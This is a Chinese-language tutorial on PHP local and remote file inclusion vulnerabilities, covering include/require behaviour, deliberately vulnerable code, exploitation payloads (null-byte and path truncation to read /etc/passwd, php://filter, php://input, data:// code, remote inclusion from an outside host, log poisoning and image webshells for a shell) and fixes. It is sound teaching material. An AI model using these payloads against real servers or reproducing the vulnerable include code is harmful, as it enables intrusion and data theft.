什麼是文件包含
程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件。而無需再次編寫,這種 文件調用的過程一般被稱爲文件包含。
例如:include “conn.php”
PHP中常見包含文件函數
- include()
當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時之給出一個警告,繼續向下執行。 - include_once()
功能與Include()相同,區別在於當重複調用同一文件時,程序只調用一次 - require()
require()與include()的區別在於require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行。 - require_once()
功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次。
區別
- inlude :包含的文件不存在,程序會繼續執行
- require:包含文件不存在,程序停止執行
(如果出現語法錯誤,兩個不會繼續執行,如果是找不到這個文件,include繼續執行,require,停止執行)
文件包含漏洞原理
文件包含漏洞產生的原因是在通過引入文件時,引用的文件名,用戶可控,由於傳入的文件名沒有經過合理的校驗,或者校驗被繞過。
常見漏洞代碼
if(isset($_GET[page])){
include $_GET[page];
}else{
include "home.php";
}
文件包含漏洞危害
- 配合文件上傳漏洞GetShell
- 可以執行任意腳本代碼
- 網站源碼文件以及配置文件泄露
- 遠程包含GetShell
- 控制整個網站甚至是服務器
文件包含漏洞的分類
- 當被包含的文件在服務器本地時,就形成的本地文件包含漏洞。
- 本地文件包含和遠程文件包含造成漏洞的原因是一樣的,當php.ini 中的配置選項allow_url_fopen和allow_url_include爲ON的話,則包含的文件可以是第三方服務器中的文件,這樣就形成了遠程文件包含漏洞。
本地文件包含利用
- 上傳圖片馬,包含圖片馬GetShell
- 讀取網站源碼以及配置文件
- 包含日誌文件GetShell
包含上傳圖片_001
<?php
if(isset($_GET[page])){
include($_GET[page]);
}else{
include 'show.php';
}
?>
包含上傳圖片_002
<?php
if(isset($_GET[page])){
include('./action/' . $_GET[page]);
}else{
include ./action/show.php';
}
?>
包含上傳圖片_003
<?php
if(isset($_GET[page])){
include('./action/'. $_GET[page] . '.php');
}else{
include './action/show.php';
}
?>
%00截斷
- /etc/passwd%00
- 需要 magic_quotes_gpc=off,PHP小於5.3.4有效
路徑長度截斷
- /etc/passwd././././././././././././.[…]/././././././././.
- php版本小於5.2.8可以成功,linux需要文件名長於4096,windows需要長於256
讀服務器本地文件
- ?page=…/…/…/…/…/…/…/etc/passwd
讀網站源碼文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
僞協議:
- 直接包含木馬文件,可以是圖片,txt,壓縮包…
- ?page=php://input 接收post請求
需要開啓 僅需要開啓 allow_url_include - ?page=http://172.18.11.66/0831/1.txt
需要開啓 allow_url_fopen,allow_url_include (遠程包含) - ?page=php://filter/read=convert.base64-
encode/resource=main.php (讀取文件源碼) - ?page=data://text/plain,<?php phpinfo();?>
需要開啓allow_url_fopen,allow_url_include
包含日誌文件GetShell
- 首先 找到日誌文件存放位置
- 讓日誌文件插入PHP代碼
- 包含日誌文件
遠程文件包含利用
包含遠程txt文件(php.ini的配置選項allow_url_fopen和allow_url_include爲on),遠程服務器上存放一個txt文件,或
者不被解析的php文件。(因爲包含的時候返回的是php源代碼,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
漏洞挖掘
- 沒有通用的挖掘辦法
- 特定的CMS,特定的版本可能存在漏洞(include,require)
- Web漏洞掃描器掃描,常見的web漏洞掃描器都支持可以檢測。
修復辦法
- PHP中使用open_basedir配置限制訪問在指定的區域
- 過濾.(點)/(反斜槓)\(反 斜槓)
- 禁止服務器遠程文件包含
(allow_url_fopen,allow_url_include,off)